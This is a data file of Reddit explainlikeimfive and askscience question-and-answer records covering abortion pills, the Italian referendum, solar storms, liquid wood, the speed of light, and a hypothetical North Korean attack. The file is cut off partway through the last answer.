clergy and the explicit rejection of any nationalistic interest in the evangelical mission.\n\nSo we have to understand that there are two different levels of acknowledgement in the evangelization/colonialism process; one level is the theology, the ideology of civilization and another level is the practice of converting and expanding the civilization \u201con the field\u201d which connected the missionaries with the secular policymakers in the colonization process: the latter understood that religion was fundamental to justify the expansion of civilization, and the former knew that they couldn't really do much without the help of the homeland governments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2wjfk7", "title": "how do abortion pills work?", "selftext": "How do they only target the baby and not some other part of the body by acccident?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wjfk7/eli5_how_do_abortion_pills_work/", "answers": {"a_id": ["cordxlv"], "score": [24], "text": [" It works by blocking the hormone progesterone. Without progesterone, the lining of the uterus breaks down and the pregnancy cannot continue. Thus forcing a miscarriage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5glxmp", "title": "the italian referendum", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5glxmp/eli5_the_italian_referendum/", "answers": {"a_id": ["datgb1z"], "score": [31], "text": ["Italy has a ''perfect'' bicameral system, meaning that any proposal needs the approval of both their Chamber of Deputies and the Senate. This makes it hard to approve new laws, especially when facing an economic crisis. \n\nSo, in order to speed up the process of approving new laws, the Renzi administration wanted to give much more power to the Chamber, restricting the power of the Senate. This project, however, did not get enough support from the Legislative, triggering the referendum. \n\nSo, at the beginning, it was all about making the Legislative body more dynamic and making the central government of Italy more powerful. However, Renzi said that if the referendum failed, he would resign. The opposition saw this as an opportunity to end his pro-EU government. So now it was more of a *Do you support Renzi as prime-minister?* than a *Should we change our constitution?*\n\nWith No winning by a large margin, some analysts fear that anti-EU sentiment is on its way up in Italy and that an anti-EU party may win the next elections. Others, however, think that, while the EU project suffered a defeat, it wasn't such a big deal, and Italy will most likely remain in the Eurozone. \n\n  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "pscfi", "title": "Science, I wanted to know what the damage and effect on human life would be if the same solar storm that hit in 1859 were to hit today.", "selftext": "I'm wanting to find out what would happen if the so-called \"Perfect Solar Storm of 1859\" hit today, would all electronics and technology in-whole basically burn-out sending us into the dark ages? \n\n[Wiki Article on the storm](_URL_0_)\n\nWhat would happen with our technology?\nIs earth prepared for such a hit again?\n\nThe year of 2012 is supposed to be a year of intense activity on the Sun and possibly the year that a solar storm equal to that of the one in 1859 is supposed to occur (Well based on what I read and what I found out in the documentary \"The Universe\") \n\nEdit: Okay so it seems that my comments get downvoted into oblivion, I'm not posting layman speculations or jokes or anything else, I simply stated exactly what I had learned yet you fuck heads take it upon yourself ot downvote someone who posts an opinion, that's not what downvoting is for. Downvoting is used to removed stupid ass puns and jokes, it's not because you disagree with an opinion. The top comment is no where near what I was asking at all. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pscfi/science_i_wanted_to_know_what_the_damage_and/", "answers": {"a_id": ["c3ruo8m", "c3ruoh2", "c3rv17y", "c3rvyh9", "c3rwgib", "c3rwzgl", "c3ryb4y", "c3rylc1", "c3ryqjx", "c3rz4wa", "c3s222m", "c3s28yu", "c3s2szl"], "score": [360, 20, 73, 14, 7, 2, 3, 2, 2, 27, 3, 3, 2], "text": ["There was a lesser, but still significant, geomagnetic storm in 1989: _URL_1_\n\nIn terms of wiping out all electronics, it would take a far, far larger storm than the one in 1859 to short literally *everything* with a circuit in it. Your watch would probably still work, for instance, because you need long stretches of inductor to create the high currents which cause shorts ([area and number of turns is relevant to how much current is induced](_URL_3_)). The big power lines that make up the grid would not fare so well, and that's the real danger.\n\nIn a worst case scenario, we wouldn't see the storm coming and wouldn't have a chance to disconnect vulnerable chunks of the grid. The big transformers and relay stations could melt or explode. It can take up to three years to get a transformer of that size made and installed ( [source](_URL_2_) ), during which time we could have a couple hundred little Fukushimas everywhere a nuclear power plant requires active cooling and runs out of diesel. Given the complexity of infrastructure, it's hard to predict how widespread the damage would be. Basic necessities like food and clean water could be impacted, with serious public health consequences.\n\nAnd, of course, people might just freak out, thus ending any rational attempts to deal with the problem.\n\n**edit:** Corrected the \"area/# of turns\" to be unambiguous, and changed the link to point to Faraday's Law of Induction instead of the broader induction article in the wiki.\n\n**edit 2:** Turns out we do have some US transformer manufacturers: _URL_0_ (thanks to eataddict and mmerner)", "I'm not a physicist, but Michio Kaku did a short video on this topic last week:\n\n\n_URL_0_", "A full evaluation of this event has been done. See: _URL_0_. You can download the book for free in PDF form. It's titled \"Severe Space Weather Events\", and was the result of a workshop in 2008.\n\nAlso see: _URL_1_ for an overview.", "So I have an external hard drive in my safe, if there was a crazy powerful solar storm could this be affected?", "A note on the state of the art of solar activity forecasting: At this point there's no way to predict individual events months or years in advance. The best they can do is to come up with a general idea of how intense the next solar cycle is going to be, measured in sunspot number and 10.7 cm radio flux, which acts as a proxy for solar activity. You can find the current predictions and progress on this solar cycle [here](_URL_0_). Note though that the way this is generated is that a group of people get together and look at a few models and then hold a majority vote on which to release. A few years ago, when they were trying to forecast the current cycle, the models were diverging drastically, so the committee released 2 different forecasts, one predicting one of the biggest cycles ever, and the other predicting one of the smallest. \n\nAt the micro level, there are a lot of satellites and observatories watching the sun constantly, and people are working on being able to predict when a sunspot is going to flare, what kind of particles, what energies, etc. Now, however, a lot of the forecast comes from looking at a sunspot and saying, \"Whenever we see a spot with a magnetic field like that, 75% of the time it produces an M flare, and 10% of the time it produces an X flare.\" It helps now that we have [STEREO](_URL_1_) so we can see what's coming around the edge of the sun, but still, sometimes these active regions whip up out of nowhere with very little warning.\n\nIn conclusion, don't let anyone tell you that we're \"supposed\" to get a big flare sometime in the next couple years. Yes, we are heading into solar maximum sometime in 2012 or 2013 probably, and solar activity will continue to increase. However, people who study the history of solar activity say that the Carrington Event of 1859 was about a 500 year storm, meaning on average we should go 500 years before we see another like it. ", "Would the effect of a solar storm be similar to an EMP?  Does it depend on the size of the nuke?  If so, is there anyway to know what a comparable size EMP would be to the 1859 solar storm?", "Just reading the Wikipedia entry about the 1859 storm and ran across this line: \"It moved so quickly because an earlier CME [Coronal Mass Ejection] had cleared the way.\"\n\nWhen this says \"cleared the way,\" what, exactly, is being cleared? Isn't space just... you know, space? \n", "Y'all are gonna make me go look this up aren't you?  Because in the last month, I know I read an article in one of my IEEE publications about this very subject, and I seem to recall (the grid being of interest to me only because of communications) that there was some talk of limiting damage via installing capacitors at the ground/neutral juncture.  Ah, google tells me it was in Spectrum - _URL_0_ ", "As a follow up, how would it affect us if we successfully decentralize the majority of power production, i.e. installed solar panels and wind turbines on/around major urban areas.", "I'm a space physicist so this is my domain, but I don't study infrastructure effects so I can't answer your main question. I want to comment on this:\n\n > The year of 2012 is supposed to be a year of intense activity on the Sun and possibly the year that a solar storm equal to that of the one in 1859 is supposed to occur \n\nSolar activity comes in cycles, it takes about 11 years from one maximum to the next. It's true that we're now coming into the next maximum, expected to peak somewhere in 2012-2014. Some people say it's going to peak in 2012, and conveniently leave off the other two years of that range, because it coincides with their pseudoscientific beliefs about an apocalypse in 2012. This is not taken seriously in the scientific community.\n\nThat this maximum is 'possibly' the one in which another large solar storm could occur is true but misleading. There's no reason to pick this maximum over the one 11 years ago, or the one 11 years before that, or the one 11 years after this one. In other words, yes we're about to hit a period of maximum solar activity, but that's not something unusual, it happens every 11 years.\n\nThere's no way to predict that a solar storm will occur - not at all. The solar cycle only tells us when storms are more likely. Anyone who says a storm is predicted on such-and-such date is full of it. It's often possible to see the potential for large solar events a couple of days in advance by watching the magnetic field on the Sun, but even then we're not sure when exactly it'll happen. We don't find out a flare happened until its photons, traveling at the speed of light, have already hit Earth.", "Hey I am an Electrical Technologist and Electrician. I work fin the field with a large affiliation with High Voltage and Medium Voltage systems.  \nThere are tons of remote protection and monitoring systems in place for fast Isolation and protection of all these systems.  Especially  on the Utility side of the systems  for Revenue metering and Grid Power Monitoring.  \n\nElectricity is strictly produced in conjunction with demand you can't really store it for a rainy day efficiently. So producing it is very common practice, the main large scale methods being your Coal, Nuclear, Hydro, Other fossil fuels (diesel, natural gas) and than our \"green energies\"  wind, solar, geothermal.  \nThey all have a cost, and to produce the largest amount in a short time does and would cost more in resources.   \n\nNuclear plants melting down in this storm would be the the most extreme, horrendously, horrible case. (not a fan of Nuclear to begin with) \n\nAs for man kind stopping dead in there tracks using technology and power, I believe it would be a big blip that would be rebuilt in a Decade.  I have worked on and installed these systems to \"protect\" valuable Electrical equipment, the really important ones are  very well taken care of.  Money and manpower also fixes some amazing things.  If there's no money well necessity  would probably influence largely.  \n\nIt would be nice if it was in a more Earth friendly direction.", "\"....you fuck heads take it upon yourself ot downvote someone who posts an opinion, that's not what downvoting is for.\" You are correct. That is not what down-voting is for. HOWEVER, as i myself have been scolded over, this is ask science. This is not a place for opinions. This is a place for facts. THAT is why your comments are getting down-votes. Opinions are not warmly welcomed here. I dont like being down-voted for posting my opinion but the rules of ask science, are the rules of ask science. ", " > I simply stated exactly what I had learned yet you fuck heads take it upon yourself ot downvote someone who posts an opinion, that's not what downvoting is for.\n\nNeeds to be said more often."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Solar_storm_of_1859"], "answers_urls": [["http://www.waukeshaelectric.com/about_waukesha.html", "http://en.wikipedia.org/wiki/March_1989_geomagnetic_storm", "http://securitymanagement.com/article/sun-cycle-threatens-electric-grid-009453?page=0%2C2", "http://en.wikipedia.org/wiki/Faraday%27s_law_of_induction"], ["www.youtube.com/watch?v=FW8Rsil0lqk&amp;t=1m39s"], ["http://www.nap.edu/catalog.php?record_id=12507", "http://science.nasa.gov/science-news/science-at-nasa/2009/21jan_severespaceweather/"], [], ["http://www.swpc.noaa.gov/SolarCycle/", "http://www.nasa.gov/mission_pages/stereo/main/index.html"], [], [], ["http://spectrum.ieee.org/energy/the-smarter-grid/a-perfect-storm-of-planetary-proportions"], [], [], [], [], []]}
{"q_id": "snso3", "title": "Is there a liquid form of wood?", "selftext": "I thought everything was supposed to have all states of matter, so I was curious as to why wood just burns.\nI'm sorry, it's probably a s stupid question :T Just curious", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/snso3/is_there_a_liquid_form_of_wood/", "answers": {"a_id": ["c4fhn95", "c4fi8e4", "c4fjpil"], "score": [9, 41, 2], "text": ["In general solid ---;liquid---; gas.\n\n**Wood does not melt when the temperature is raised because it decomposes chemically first. That is, the chemical bonds that hold it together come apart first. Also, when wood is heated in air, it (or its components) start to oxidize.**\n\n_URL_0_\n\n\n\n", "Yes, in fact, there is...\nWood is primarily composed of three large organic polymers: cellulose, hemicellulose, and lignin.  \nCellulose and hemicellulose will combust before reaching their liquidus (Conditions for which they become liquid.)  Lignin will not.\n\nI am currently working in paper research, where our goal is to find a way to take this lignin, which is a waste in the paper-making process, and \"gasify\" it, which is a fancy word for making a solid or liquid into a gas.  We're experimenting on methods to possibly design an engine or turbine to generate electricity from this liquid.", "Wouldn't pulp be somewhat of a liquid form of wood?  Or, at least some type of wood fibre solution..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.newton.dep.anl.gov/askasci/eng99/eng99299.htm"], [], []]}
{"q_id": "b9wprf", "title": "how does one speed up light 30x as these researchers claim?", "selftext": "According to this new research paper, they are not only able to control the speed of light, but they claim to be able to go 30x faster than the speed of light. I assume this is from a relative position and not \"true\" speed? Help!\n\n & #x200B;\n\n[_URL_0_](_URL_0_)\n\n & #x200B;\n\nEdit: Actual research paper for those much smarter than I:  [_URL_1_](_URL_1_) ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b9wprf/eli5_how_does_one_speed_up_light_30x_as_these/", "answers": {"a_id": ["ek7frw9", "ek7g1av", "ek7ge8k"], "score": [15, 11, 3], "text": ["From the paper's introduction, they're talking about the group or phase velocity of light waves. It's already known that group velocities can be faster than light (which does not imply faster than light information travel and so doesn't break causality). The original article is almost being purposefully misleading. \n\nThe novel part is more about the level of control as well as magnitude above the speed of light they can get the phase velocity to be.", "It's mostly just clickbait.\n\nThe conducted experiments where the *group* velocity of light was higher than the regular speed of light. \n\nImagine a long group of people in a single-file line. They can each only walk at a slow speed. But if the line is long enough, you can have the last person in line touching one thing, and the first person in line almost touching another thing many miles away. You can have the first person move two feet, and boom, the group has 'traveled' many miles in a few seconds. \n\nYou can imagine that by having a long enough line, you can make the group move at *any* speed for a short time, even though as individuals they're still limited to 2 miles per hour or whatever.  \n\n", "They're controlling the group velocity not the phase velocity. This was first done back in the 80s it's a useful trick in data communication and the association with velocity here as people conventionally think of it doesn't exist.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["https://today.ucf.edu/ucf-researchers-develop-way-control-speed-light-send-backward/", "https://www.nature.com/articles/s41467-019-08735-8"], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Group_velocity?wprov=sfla1"]]}
{"q_id": "14sa4c", "title": "what were to happen if nk shelled seoul and killed a few thousand people, but threatened to use nukes on the us if they intervened.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14sa4c/eli5_what_were_to_happen_if_nk_shelled_seoul_and/", "answers": {"a_id": ["c7fxosm", "c7fxviq", "c7fy1w8", "c7fyclk", "c7fyg10", "c7fyj94", "c7fyl14", "c7fyojg", "c7fyrij", "c7fytkn", "c7fyw23", "c7fzblc", "c7fzkdl", "c7fznkn", "c7fzrc5", "c7fzuud", "c7fzvxx", "c7g08xq", "c7g0d94", "c7g0py7", "c7g106i", "c7g13uj", "c7g14l9", "c7g17u7", "c7g18lj", "c7g1lxn", "c7g1usv", "c7g2b6g", "c7g2q8w", "c7g35vw", "c7g3tft", "c7g3vhw", "c7g466l", "c7g4uto", "c7g4y7f", "c7g558a", "c7g5dgo", "c7g5hqu", "c7g67ba", "c7g67ua", "c7g6g0p", "c7g6weg", "c7g7dr4", "c7g7gsi", "c7g987d", "c7g9g84", "c7g9hbg", "c7gabl5", "c7gbuj5"], "score": [55, 857, 173, 43, 24, 228, 120, 7, 321, 2, 13, 480, 5, 14, 7, 166, 38, 5, 2, 14, 38, 4, 190, 3, 5, 2, 15, 14, 6, 6, 3, 2, 41, 2, 2, 2, 2, 2, 3, 4, 2, 3, 2, 2, 2, 65, 3, 2, 2], "text": ["i think we would have to endure a lot more Gangnam Style for a while. :(", "South Korea would wipe North off the map. South Korea spends more on its military than North Korea's government spends, total.", "the United States would place a nuclear armed submarine withing striking distance of PyongYang, and *suggest* that North Korea calm down.", "Right now, NK does not have the capacity to use nukes on the US, so they'd probably get bombed into the stone age.", "I would hope that China would allow the US to intervene before NK had access to real nuclear weaponry.", "The North Koreans don't have an ICBM that can carry their warheads, so at best we're talking Intermediate-range Ballistic Missiles, which the Aegis defense system is more than capable of taking out.  The US moves the carrier strike group from Japan to provide theatre-wide protection (removing the threat of North Korean missiles against the US and her allies) while maybe getting an *Ohio*-class submarine in position for second-strike (firing missiles back at North Korea, should they fire missiles first).\n\nThen, they let North Korea and South Korea figure things out, hoping North Korea realizes they're seriously outgunned.  ", "South korea isn't a weak country. \n\nSK could easily wipe NK out if they chose to. \n\nSouth korea would likely invade and there would be a large number of casualties. \n\n\n[South korea designed and built autonomous sentry robots.](_URL_0_) ", "South Korea wins. Their military is superior to North Korea's. China gets pissed, probably doesn't support North Korea. Without Chinese support, North Korea is royally fucked. The US most likely won't need to intervene, nukes or not.", "There are a crap ton of factors, but I think it would go something like this. \n\nSeoul is severely damaged. An enraged and rabid South Korea wants more than just blood and launches damn near everything they have, and rains down fire on North Korea. The US, Japan, China, Russia, and others all show up and try to hold the \"peace\" together. China and Russia realizing that there is no way they can help North Korea wriggle out of this one, warns them to stay low and pray to their god for mercy from the Americans and South Koreans. The none too bright North Koreans take a pot-shot at a US ship, causing little to no damage, possibly sinking a single ship at best. \n\nThe US and South Korea unleash a fury of death that leaves North Korea a smoldering pile of ash. If the North Koreans are lucky, we leave it at that. The South is pissed still, marches in, pisses on the ash, and reclaims the land. Anything that moves is given three second to surrender or get shot in the head... several times. \n\nAfter everyone has had a chance to cool off, China and Russia \"politely\" ask the Japanese and Americans to withdraw their forces from the area, and not wanting WW3, they do. The South Koreans eventually rebuild into one giant Korea, and North Korea becomes the Nazi Germany of Asia.", "What everyone else has said. NK literally can't reach the US with any WMDs they have, and I remember reading somewhere that the NK nukes are so weak that if one hit the Empire State Building, the blast wouldn't reach central park. Obviously a fair few people would die, but the point is NK are poorly equipped and their losses would be much more than any damage they could inflict. The scenario you described would be one of the stupidest things NK could do.", "SK is an incredibly advanced military. far moreso than NK. in fact, SK could go at it with almost any country on the planet.\n\nanyway, this is irrelevant because NK can't reach the US. even if they proper nukes, they lack the missiles to get them here.", "Nice Try Kim Jong-un.", "NK would no longer exist.", "First of all, they wouldn't do anything. even though Seoul is on the border it makes no difference, they have the same technology that Israel has to defend against incoming projectiles called the \"iron dome\". So that takes care of the border issues. Next we have nukes, well South Korea thought of that too believe it or not, they have a satellite defense system, just like the USA and Israel. The nuke would be obliterated before it made it back into the atmosphere.\n\nThe fact is that even without its numerous allies (including China, who would not join NK in war) they could squash NK easily. they have the nuclear capabilities to send NK back to the stone age. NK is like a child, it acts up every now and then but is not a credible threat to the real world. \n\nI personally believe that because china has such strong financial and economic ties with the west they would allow a ground assualt through the Chinese -  NK border, if not join the war against them. \n\nNk has no real allies left, they have no money, no food, no weapons. all the can boast is the worlds largest standing army, which is underfed and poorly equipped with cold war soviet junk. \n\nTL:DR, NK stands no chance against anyone in the west. SK alone can take NK ", "North Korea doesn't have the delivery capacity to even splash the pacific, let alone the American west coast. Also, America has a large contingency on the south Korean boarder, i got back a few years ago from Seoul after a two year tour there (artillery officer). Trust me, Pyongyang would be wiped off the map within minutes. Maybe an hour if south cornea has to do it alone. ", "Think of North Korea as that loud kid in school who always wants to fight but the minute someone stands up he acts like someone is holding him back.\n\n* North Korea - \"Get off me dog, get off me. Imma gonna jack him up\"\n* Everyone else - \"No one is holding you\"\n* North Korea - \"Na dog get off me\"\n* Everyone else - \u0ca0_\u0ca0", "North Korea would be a glass parking lot.", "SK would level NK within a week.", "Now that I think of it, the correct answer to this is that China wouldn't allow it. Pyongyang answers to Beijing.", "No one has mentioned yet that South Korea is not interested in annexing North Korea as it is right now. All thy would get is a huge starving population (25,000,000 people), with lacking to non existent infrastructure and poor natural resources.\n\n A successful annexion would consist in a huge shift of finances and resources to cover the whole of the Korean peninsula: rebuilding infrastructures and basically having to modernize a whole country in the space of a few years. South Korea is not in the financial position to afford all of that at the moment. ", "There should be a sub for war simulations.", "[Here is a website that lets you drop a bomb anywhere you want.](_URL_0_) Not that it makes it nothing to worry about, but I dropped one on my house and it only really effected less than a mile radius. Didn't even wipe out that godawful shopping mall...", "It won't happen... As soon as NK pulls the trigger, they've spent their load. South Korea and the USA will take the opportunity to level NK's military and free the country. If you think NK threatening the US would work, you're a fool - the US would never publicly back down from NK'S threats, as it opens the door to any non state actor or rogue state with some nukes, and encourages their development in countries like Iran. That said, US involvement would be limited, due to Chinese and Russian objections. In detail:\n\nSeoul would take damage from the bombardment. You can't fight a war without accepting people will die. SK would rapidly evacuate and get their inhabitants to shelter, whilst immediately launching an artillery counter attack of their own and establishing air dominance. This is required to a) prevent NK airborne attacks b) allow swift and accurate destruction of enemy artillery, particularly mobile launchers c) enforce the DMZ which would likely have been the subject of an NK incursion and d) reach missile artillery launchers deep in NK territory. Once air superiority is guaranteed (and it would be - SK has modern US jets, NK has cold war relics with a string of logistics issues) NK artillery likely shits itself and deserts, or become the equivalent of turkeys. NK having realised it's long held threat of attacking SK is now a spent load; SK takes the opportunity to knock over the NK government. As previously mentioned, it is highly unlikely that NK would start a bombardment in isolation. They'd launch incursions in to the DMZ with a view to invading SK. This would also allow their artillery to get within range of Seoul. However, SK has a well equipped and mechanised conventional army which would likely launch fast, mobile warfare under air cover, quickly routing NK conscripts, and drive through the DMZ in to NK, helping to disable the artillery bombardment whilst beginning SK retaliation. In the scope of about six weeks, you would expect SK to have more or less functional control of most of NK. It is likely that a hard core of loyalists would continue and insurgency, but the majority of the NK population would likely not offer significant resistance. \n\nThe US would immediately initiate combat operations from its nearest carrier, assisting with SK air dominance, and potentially striking targets deep within NK both as retaliation and to disable NK's ability to launch ICBMs. Fortunately, NK missile technology may now have the range to engage the US mainland, but they do not have capable mobile launchers that can reach that sort of range. Their missile infrastructure is very obvious (think shuttle launch scale) and would likely be an easy target for submarine launch tomahawks and American aircraft. This could potentially be the limit of US combat involvement, ironically because of NK's threats they would have justification to do it. However, a full scale bus invasion is unlikely;with US intelligenceand air support, SK is more than capable of taking the peninsula. China would almost certainly veto further US intervention, and the US has no desire to escalate a conflict likely to go in their favour anyway. It is likely that the US would offer extensive humanitarian and logistical support to SK, however, with their military presence on the southern half of the peninsula essentially guaranteeing SK immunity from NK counter attacks. \n\nIn the aftermath, some forms of treaty would be generated preventing US basing north of the 84th parallel to keep China calm. The US would step up it's presence in SK, as a show of force in the region, and tensions with China would be heightened, as the bus begins to help SK assert its own dominance of the economic area around the peninsula. \n\nHope that helps? ", "Here is an excellent, however not ELI5 read of potential outcomes.\n\nIt goes in depth on:\n\n* Surgical Air Strike on Nuclear Facilities\n* Escalatory Pressures\n* North Korean Ballistic Missile Launch\n* North Korea Artillery and Rocket Attack on Seoul\n* Full-Scale Ground Conflict\n* And more.\n\n_URL_0_", "China would bitch slap the fuck out of NK.", "The next Korean battle will be the loudest and the shortest in history.\n\nMassive casualties on both ends, but definitely a loss for Pyongyang.", "This belongs in /r/HistoricalWhatIf", "Post this on r/Pyongyang ", "I thought we weren't supposed to blatantly speculate in Eli5? Also, this isn't an appropriate question for this subreddit at all, nobody here is interested in explaining it in layman's terms.", "Remember in Star Wars, when the Deathstar blew up Alderaan? Well, if North Korea did that, they would be Alderaan. Got it? Good.", "Shameless plug for r/historicalwhatif and r/futurewhatif. Great place for questions like these to get answered and incredibly interesting. Sorry for no direct link, on my phone. ", "In this exact scenario? NK gets bombed, the Regime falls. NK doesn't have the nukes, nor the firepower, artillery, or logistics to cause enough damage to prevent anyone from stomping on Kim Jong Un's face.", "There is a big family, Mommy and Daddy, who are the US and China. Then there is the twins, North and South Korea who have been fighting about who owns the PS3. North Korea claims to own everything of the PS3, the Controllers, and the games. South Korea claims he just owns the PS3 and one controller. \n\nOne day North punched South and a big fight happened. Daddy China doesn't favor North that much and just feeds him and clothes him. Mommy US is very fond of South so she will hit North if he punched South again. Later North threatened to stab South, Daddy pulled out. He wanted nothing to do with him, South retaliated, he hit him as hard as he could. Beat him to a pulp, Mommy broke it up but she punished North with a very bad beating and Daddy disowned him. \n\nSouth took the PS3 and made North his bitch. ", "The US would intervene anyway, NK nukes cant really reach the USA.  NK missile systems are horrendous.", "First off, I'm very sorry for the wall of text, but I feel as though this topic can not very well be explained in a few sentences...so...here are three paragraphs...\n\nThere are three major factors as to what would happen if North Korea were to South Korea, which are: The political realm, the actual war, and fear/brainwashing. \nIn terms of the political realm we must factor china specifically. Why is it that we haven\u2019t already just taken over North Korea, either the first time we invaded, or any other time. Its because of the big red giant known as China. In the first Korean war It was Chinas intervention that prevented the U.S./South Korea from successfully winning the war. Their armies and their weapons/supplies changed the tied of the war until it became a stalemate. Their reasoning for intervening then was because the U.S. and china were not allies. The U.S. practiced Democracy, where as China practiced Communism, the world as a whole was in the middle of the cold war, and China did like having an American influenced country right up next to their borders. Now the cold war has thawed, and China and the U.S. are major allies, so why is it that we haven\u2019t taken care of this problem? Because China still does not like the idea of a war so close to its borders. It\u2019s not just the fact that some bombs may or may not land in Chinese territory, it\u2019s also them having to harbor the huge wave of refugees from North Korea, the threat of a Nuclear bomb, and ultimately, having to choose a side. That last point rings louder than any of the other points. Who do you side with? The country that has been an uneasy Ally for decades, or the country who used to be an enemy, but is now your biggest customer when it comes to trade? With this in mind China has decided to pursue peace the best way it can think of. If North Korea starts the war, china was side with America, if America starts the war, China will side with North Korea. Neither Korea, nor the U.S. can afford fighting China, which has preserved the uneasy peace for decades now. This ultimatum though has a downside. If there were a war, China would have to be pushed to back someone, or stay out of the way, because once America has the idea of war in their minds, it\u2019s really, really tough to convince them to not go to war. The same could go for North Korea, it\u2019s a war their people have been preparing for, for generations. Keep in mind though, that the U.S. WILL go to war with North Korea if provoked, but it will need to be a big provocation, such as North Korea actually launching a full Scale war, nothing less will be big enough.\n", "The Thunderbirds would sort it out...", "North Korea does not have a delivery system to attack The US directly. They could attack some outlying base, or one of our allies, but not the contiguous US of A. Whcih, btw, is why Red Dawn ( the remake) is going to suck. ", "We'd laugh and laugh and laugh and laugh. The idea that a North Korean army is a legitimate threat to the world, even to South Korea is a joke.", "South Korea would turn North Korea into rubble and most likely be all 'come on US you coulda helped a guy out there'. China already has no interest in another Korean War, let alone if the words 'nukes' came up, so it'd be NK's out dated and half-starved military against Korea's modernized military full of people who actually eat three meals a day.", "Nice try, Pyongyang. ", "In short?  You would probably see the first tactical use of nukes that we've known about since Nagasaki and Hiroshima.  Dependent upon the intel, you would see parts of Pyongyang turned into a sparkling glass parking lot.  Russia and Iran would pitch a bitch about it but would ultimately do nothing.", "First off North Korea doesn't really have the capabilities of striking the US, not even Alaska.  Now they do have missiles that can reach that far they haven't been to successful in the tests.  Now for the actual invasion, DMZ is destroyed and pretty much every one there is dead.  The troops there are more to slow down the North Koreans than defend against them.  North Korea does advance into South Korea but no matter how far they get they will not be able to hold it.  First they will not be able to stand against what's about to come at them.  Secondly they will not be able to keep their military supplied.  This all depends on how well the military is actually supplied in the first place.  ", "Drones.\n\nDrones everywhere.", "They'd be wiped off the map, and I'd probably be a casualty in an east asian ditch, along with several hundred other redditors.", "Does the term \"Zerg rush\" mean anything to you", "I was enlisted Air Force, and stationed in South Korea back in the mid-80s.  Part of my job was Job Control during that time, and I was often given documents to brief our commander with.  These were either not classified, or classified as \"Confidential\", so I feel comfortable speaking to what they said.\n\nOne of these documents detailed what some strategists thought might happen if North Korea invaded South Korea.  Or if North Korea started shelling South Korea.\n\n* In the first hours of the attack, Seoul would be heavily damaged by artillery from the North.  Their aim is pretty good, but without satellites they would need spotters to dial in the aim.  Lots of people in Seoul are killed, many transportation and communications grids are out.  But the South Korean government would survive and retaliate, with or without America's assistance.  \n - However, the South Koreans and American military have spent a long time observing North Korea, and have developed a habit of deploying to random field locations when North Korea acts a bit spooky.  \n - So the South Korean military, and the 30,000 American troops stationed in South Korea would respond from the field, and from secured locations.\n\n* In order to follow through, (or even before the artillery barrage started) North Korea would have to invade South Korea.  In the past their plan was to use a massive [\"sneak attack\" through tunnels under the DMZ.](_URL_2_).\n - It is unlikely any such sneak attack would work - America and South Korea are quite aware of troop movements in North Korea, and any time troops there start to mass near the border, South Korea and America respond by having a military exercise and deploying back to the field again.\n* So the North Koreans would probably be stuck with rushing the border.  This is not an easy thing to contemplate.\n * The Korean DMZ is a 2.5 mile wide trench that stretches across the peninsula.  It is deep, and lined with razor wire, land mines, and listening posts (to detect further tunneling efforts).  People don't go there because people on the other side will shoot to kill.  Guards up and down the DMZ on both sides are very watchful.\n * Once you get past the DMZ and into South Korea, you find that all the roads, railways, and bridges are rigged to be destroyed or [otherwise made impassable](_URL_1_) by the military.  There are also long, deep, concrete-lined trenches strategically placed to make travel difficult for the enemy.\n\n* The biggest problem with North Korea having it's military rush into South Korea is that the North Korean government probably does NOT want its troops to do this!\n * North Korean citizens have been under a very strict propaganda campaign for decades.  They are told that the poor people in South Korea are merely tools and puppets of America, and that we Americans keep them as our slaves and pets, to the point of starvation.\n * Back in 1984, [North Korea shipped food to South Korea](_URL_0_) as emergency supplies during a South Korean flood.  While I was there, I was told that much of this aid had to be destroyed by South Korea because it had rotted and was inedible.  (Sorry, I don't have a link to back this up.)  Of course the North Korea propaganda machine touted to its own citizens and the rest of the world how North Korea singlehandedly kept South Korea from starving.  Of course the citizens of North Korea were pretty hungry at the time too, so they felt pretty bad for the South Koreans under the rule of the American Empire.\n * *So what would happen if the North Korean military invaded South Korea?* **The North Korean Army would defect!**\n * It would not take long for the North Korean army to realize that it's government had been lying to it.  South Korea was an emerging First World country when I was stationed there in the mid-80's, and now they are very firmly a first world country who in some (perhaps many) ways puts America to shame.  You would have to be deaf and blind to be in South Korea and still believe that the citizens there are starving slaves under American rule.  A 10 x 10 foot family owned store in South Korea contains more goods than an average North Korean family of 5 would see in a decade.\n\n**Now, to answer your question**\n(Sorry about the background, I hope you found it interesting.  I felt it was important.)\n\n* North Korea could certainly shell Seoul with artillery.  They would be somewhat bad at it, and they would probably telegraph their moves to the point where the South Korea and American command and control could find cover.\n* North Korea would not really have to worry about Americans immediately retaliating.  There are about 30,000 of us there, and we have lots of American weapons that we could use.  But honestly, the South Koreans would go ape-shit on the North, and NK could only hope that America would restrain them.\n* North Korea could threaten to use a Nuke on America.  But that would be like the 6-year-old down the block threatening to blow up Fort Knox.  Yea, maybe he has the potential to do so, someday, but right now he's a blowhard.\n * North Korea DOES have nukes.  They have successfully detonated underground nukes.  But I say \"successfully\" with reservations.  We don't know anything about their weapons, and we know they lie.  For example, North Korea also claims to have invented and successfully tested a Nuclear Fusion reactor.\n * How big are these nukes?  It's much easier to make a train car sized nuke than it is to make one that will fit on a warhead.  We have no idea, but knowing their capability, it is probably train car sized.\n * How will they deliver a nuke?  Even if they have a compact nuke, their delivery systems are pretty lousy.  A threat to attack America with nukes is pretty empty, unless they manage to ship one here in a 20-foot long shipping container.  [(Note to terrorists... it's not that easy!)](_URL_3_)\n\n.\n\nSo, I'm not a military strategist, analyst, or much of anything else besides an engineer since I left the Air Force.  I was married to a Korean woman for 21 years, and I still have a Korean mother-in-law in 